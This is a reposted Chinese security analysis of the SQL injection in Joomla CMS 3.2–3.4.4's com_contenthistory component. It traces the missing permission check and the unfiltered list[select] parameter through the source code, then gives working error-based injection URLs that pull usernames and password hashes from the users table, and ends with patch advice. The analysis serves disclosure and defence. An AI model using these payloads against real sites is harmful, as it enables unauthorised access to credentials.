IT博客汇 | Joomla CMS 3.2-3.4.4 SQL注入漏洞分析

Joomla CMS 3.2-3.4.4 SQL注入漏洞分析

niubl发表于 2015-10-26 02:18:53

Author: RickGray (知道创宇404安全实验室)

Date: 2015-10-23

昨日(2015-10-22)，Joomla CMS发布新版本3.4.5，该版本修复了一个高危的SQL注入漏洞，3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息，甚至可以获取已登陆的管理员会话直接进入网站后台。

一、原理分析

在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory)，该功能本应只有管理员才能访问，但是由于开发人员的疏忽，导致该功能的访问并不需要相应的权限。通过访问

/index.php?option=com_contenthistory

可以使得服务端加载历史版本处理组件。程序流程会转到

/components/com_contenthistory/contenthistory.php

文件中：

<?php
defined('_JEXEC') or die;

$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);

require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

可以看到该组件加载时并没有进行相关权限的监测，而 Joomla 中，一般的后台调用组件 (

/administrator/components/

下的组件) 都会进行组件对应的权限检查，例如后台中的 com_contact 组件：

if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
    return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

但是，程序在处理 contenthistory 组件时，并没有进行一个权限检查，程序初始化并设置好组件相关配置后，包含文件

/administrator/components/com_contenthistory/contenthistory.php

，其内容如下：

<?php
defined('_JEXEC') or die;

$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

程序初始化基于 contenthistory 组件的控制类 JControllerLegacy，然后直接调用控制类的 execute() 方法，在 execute() 方法中，会调用其控制类中的 display()，代码位于 /libraries/legacy/controller/legacy.php：

public function display($cachable = false, $urlparams = array())
{
    $document = JFactory::getDocument();
    $viewType = $document->getType();
    $viewName = $this->input->get('view', $this->default_view);
    $viewLayout = $this->input->get('layout', 'default', 'string');

    $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));

    // Get/Create the model
    if ($model = $this->getModel($viewName))
    {
        // Push the model into the view (as default)
        $view->setModel($model, true);
    }
    (...省略...)
    if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
    { (...省略...) }
    else
    {
        $view->display();
    }

    return $this;
}

处理程序从传递的参数中获取 view 和 layout 的参数值进行初始化视图，并且调用 $model = $this->getModel($viewName) 加载对应数据模型，最终会调用 $view->display() 函数进行视图处理。

Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作，也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时，会进入

/administrator/components/com_contenthistory/models/history.php

文件中的 getListQuery() 函数：

protected function getListQuery()
{
	// Create a new query object.
	$db = $this->getDbo();
	$query = $db->getQuery(true);

	// Select the required fields from the table.
	$query->select(
		$this->getState(
			'list.select',
			'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
			'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
		)
	)
	->from($db->quoteName('#__ucm_history') . ' AS h')
	->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
	->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

	// Join over the users for the editor
	->select('uc.name AS editor')
	->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');

	// Add the list ordering clause.
	$orderCol = $this->state->get('list.ordering');
	$orderDirn = $this->state->get('list.direction');
	$query->order($db->quoteName($orderCol) . $orderDirn);

	return $query;
}

注意下面这段SQL语句构造部分：

$query->select(
		$this->getState(
			'list.select',
			'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
			'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
		)
	)
	->from($db->quoteName('#__ucm_history') . ' AS h')
	->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
	->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

其中 getState() 函数用于获取模型的属性和其对应的值，其函数定义位于

/ibraries/legacy/model/legacy.php

：

public function getState($property = null, $default = null)
{
	if (!$this->__state_set)
	{
		// Protected method to auto-populate the model state.
		$this->populateState();

		// Set the model state set flag to true.
		$this->__state_set = true;
	}

	return $property === null ? $this->state : $this->state->get($property, $default);
}

然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数，在 contenthistory 组建中定义有自己的 populateState() 函数：

protected function populateState($ordering = null, $direction = null)
{
	(...省略...)
	// List state information.
	parent::populateState('h.save_date', 'DESC');
}

函数最后，会调用父类的 populateState() 函数，因为该数据模型继承于 JModelList，所以父类相关代码位于

/libraries/legacy/model/list.php

中，而在父类该函数的处理中会解析请求中传递的 list[] 参数，解析并过滤预设键的值，但是却忽略了 list[select]：

protected function populateState($ordering = null, $direction = null)
{
	(...省略...)
		// Receive & set list options
		if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
		{
			foreach ($list as $name => $value)
			{
				// Extra validations
				switch ($name)
				{
					case 'fullordering':
						(...省略...)
					case 'ordering':
						(...省略...)
					case 'direction':
						(...省略...)
					case 'limit':
						(...省略...)
					default:
						$value = $value;
						break;
				}

				$this->setState('list.' . $name, $value);
			}
		}
	(...省略...)

而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里，从而导致了注入。

二、漏洞演示

通过上面简单的分析，已经知道了受影响的 Joomla 版本中，contenthistory 组件访问不受权限的控制，并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。

1.漏洞验证

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因为在进行 SQL 语句拼接的时候，获取了 list.ordering 进行数据查询中的 order 操作，若不提供默认会将其设置为数据进行处理，相关处理位于

/libraries/joomla/database/driver.php

的 quoteName() 函数中。

因此，访问上述构造的URL，服务器会报错：

2.漏洞利用

因为在 SQL 语句拼接时，程序框架针对每个 from 或者 where 操作进行了换行处理，所以这里并不能使用 "#"、"--" 等符号来注释掉后面的语句，只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件，也就是传递的 item_id 和 type_id 参数值必须于数据库中有效，同时传递 list[ordering] 参数 (空值即可)，这样注入的语句才能够得到执行，从而进行报错注入。

这里经过多个漏洞站点的测试可以简单的使用 "item_id=1&type_id=1"，当然了为了准确性和有效性，可以通过爆破的方式来得到这两个参数的有效值，然后再进行注入操作。

(Tips：Joomla 中构造的 SQL 语句中 "#_" 最终会在执行前被替换为表前缀)

下面是获取用户名/密码哈希的漏洞演示过程：

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select username from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)

http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select password from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)

三、修复方案

从 https://github.com/joomla/joomla-cms/releases 获取最新版本进行重新安装；
从 https://github.com/joomla/joomla-cms/releases 下载相应版本的补丁程序进行升级；

四、总结

就 Joomla CMS 的用户量来看，目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory 组件能够被任意用户访问和加载，而参数的过滤不严格，导致攻击者能够构造出恶意的参数到执行流中产生注入。

Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

一、原理分析

二、漏洞演示

三、修复方案

四、总结

参考

Joomla CMS 3.2-3.4.4 SQL注入漏洞分析